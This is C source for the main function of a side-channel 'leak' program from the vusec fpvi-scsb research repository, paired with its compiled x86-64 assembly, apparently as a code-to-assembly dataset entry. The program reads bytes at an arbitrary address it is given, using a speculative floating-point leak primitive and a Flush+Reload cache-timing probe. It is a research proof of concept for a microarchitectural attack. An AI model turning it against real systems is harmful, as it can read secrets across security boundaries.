// File: /workspace/github_c_makefile_star2_O0/vusec[P]fpvi-scsb/leakers/fp/leak.c
// Function: main
int main(int argc, char **argv)
{
    uint64_t leak_addr;
    uint32_t leak_length;
    uint8_t *leak_ptr;
    int ret;

    if (argc > 2)
    {
        sscanf(argv[1], "0x%lx", &leak_addr);
        sscanf(argv[2], "%d", &leak_length);
        leak_ptr = (uint8_t *) leak_addr;
    }
    else
    {
        leak_ptr = "This is a test to verify that it leaks";
        leak_length = strlen(leak_ptr);
    }

    /* Setup */
    __attribute__((aligned(4096))) size_t results[LEAK_SIZE] = {0};
    unsigned char *reload_buf   = (unsigned char *) mmap(NULL, LEAK_SIZE*STRIDE, PROT_READ | PROT_WRITE,
                                                         MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_HUGETLB, -1, 0);
    assert(reload_buf != MAP_FAILED);

    for(int i=0; i<leak_length; i++)
    {
        memset(results, 0, sizeof(results));

        for(int j=0; j<ITER; j++)
        {
            flush(reload_buf);
            fp_leak(reload_buf, leak_ptr+i);
            reload(reload_buf, results);
        }

        printf("0x%016lx :\n", (uint64_t)(leak_ptr+i));
        print_results(results, ITER/10);
    }

    return 0;    
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
andq $-0x1000, %rsp          # imm = 0xF000
subq $0x2000, %rsp           # imm = 0x2000
movl $0x0, 0x1f84(%rsp)
movl %edi, 0x1f80(%rsp)
movq %rsi, 0x1f78(%rsp)
cmpl $0x2, 0x1f80(%rsp)
jle 0x4012ec
movq 0x1f78(%rsp), %rax
movq 0x8(%rax), %rdi
leaq 0xd6e(%rip), %rsi       # 0x402017
leaq 0x1f70(%rsp), %rdx
movb $0x0, %al
callq 0x401080
movq 0x1f78(%rsp), %rax
movq 0x10(%rax), %rdi
leaq 0xd52(%rip), %rsi       # 0x40201d
leaq 0x1f6c(%rsp), %rdx
movb $0x0, %al
callq 0x401080
movq 0x1f70(%rsp), %rax
movq %rax, 0x1f60(%rsp)
jmp 0x40130f
leaq 0xd2d(%rip), %rax       # 0x402020
movq %rax, 0x1f60(%rsp)
movq 0x1f60(%rsp), %rdi
callq 0x401030
movl %eax, 0x1f6c(%rsp)
leaq 0x1000(%rsp), %rdi
xorl %esi, %esi
movl $0x800, %edx            # imm = 0x800
callq 0x401070
xorl %eax, %eax
movl %eax, %r9d
movl $0x40000, %esi          # imm = 0x40000
movl $0x3, %edx
movl $0x48022, %ecx          # imm = 0x48022
movl $0xffffffff, %r8d       # imm = 0xFFFFFFFF
movq %r9, %rdi
callq 0x401040
movq %rax, 0xff8(%rsp)
movq $-0x1, %rax
cmpq %rax, 0xff8(%rsp)
je 0x401360
jmp 0x40137f
leaq 0xce0(%rip), %rdi       # 0x402047
leaq 0xcf2(%rip), %rsi       # 0x402060
movl $0x2b, %edx
leaq 0xced(%rip), %rcx       # 0x402067
callq 0x401060
movl $0x0, 0xff4(%rsp)
movl 0xff4(%rsp), %eax
cmpl 0x1f6c(%rsp), %eax
jae 0x4015dd
leaq 0x1000(%rsp), %rdi
xorl %esi, %esi
movl $0x800, %edx            # imm = 0x800
callq 0x401070
movl $0x0, 0xff0(%rsp)
cmpl $0x3e8, 0xff0(%rsp) # imm = 0x3E8
jge 0x401594
movq 0xff8(%rsp), %rax
movq %rax, 0x1f90(%rsp)
movq $0x0, 0x1f88(%rsp)
cmpq $0x100, 0x1f88(%rsp) # imm = 0x100
jae 0x401428
movq 0x1f90(%rsp), %rax
movq 0x1f88(%rsp), %rcx
shlq $0xa, %rcx
addq %rcx, %rax
clflush (%rax)
movq 0x1f88(%rsp), %rax
addq $0x1, %rax
movq %rax, 0x1f88(%rsp)
jmp 0x4013ea
mfence
movq 0xff8(%rsp), %rdi
movq 0x1f60(%rsp), %rsi
movslq 0xff4(%rsp), %rax
addq %rax, %rsi
callq 0x401600
movq 0xff8(%rsp), %rcx
leaq 0x1000(%rsp), %rax
movq %rcx, 0x1fc8(%rsp)
movq %rax, 0x1fc0(%rsp)
mfence
movq $0x0, 0x1fb8(%rsp)
cmpq $0x100, 0x1fb8(%rsp) # imm = 0x100
jae 0x40157c
imulq $0xa7, 0x1fb8(%rsp), %rax
addq $0xd, %rax
andq $0xff, %rax
movq %rax, 0x1fb0(%rsp)
movq 0x1fc8(%rsp), %rax
movq 0x1fb0(%rsp), %rcx
shlq $0xa, %rcx
addq %rcx, %rax
movq %rax, 0x1fa8(%rsp)
rdtscp
movq %rax, 0x1fe8(%rsp)
movq %rdx, 0x1fe0(%rsp)
movq 0x1fe0(%rsp), %rax
shlq $0x20, %rax
orq 0x1fe8(%rsp), %rax
movq %rax, 0x1fa0(%rsp)
movq 0x1fa8(%rsp), %rax
movb (%rax), %al
rdtscp
movq %rax, 0x1fd8(%rsp)
movq %rdx, 0x1fd0(%rsp)
movq 0x1fd0(%rsp), %rax
shlq $0x20, %rax
orq 0x1fd8(%rsp), %rax
subq 0x1fa0(%rsp), %rax
movq %rax, 0x1f98(%rsp)
cmpq $0xa0, 0x1f98(%rsp)
jae 0x401563
movq 0x1fc0(%rsp), %rax
movq 0x1fb0(%rsp), %rcx
movq (%rax,%rcx,8), %rdx
addq $0x1, %rdx
movq %rdx, (%rax,%rcx,8)
movq 0x1fb8(%rsp), %rax
addq $0x1, %rax
movq %rax, 0x1fb8(%rsp)
jmp 0x40147a
jmp 0x40157e
movl 0xff0(%rsp), %eax
addl $0x1, %eax
movl %eax, 0xff0(%rsp)
jmp 0x4013bd
movq 0x1f60(%rsp), %rsi
movslq 0xff4(%rsp), %rax
addq %rax, %rsi
leaq 0xad0(%rip), %rdi       # 0x40207e
movb $0x0, %al
callq 0x401050
leaq 0x1000(%rsp), %rdi
movl $0x64, %esi
callq 0x4011b0
movl 0xff4(%rsp), %eax
addl $0x1, %eax
movl %eax, 0xff4(%rsp)
jmp 0x40138a
xorl %eax, %eax
movq %rbp, %rsp
popq %rbp
retq
nopw %cs:(%rax,%rax)
nopw %cs:(%rax,%rax)
nopl (%rax,%rax)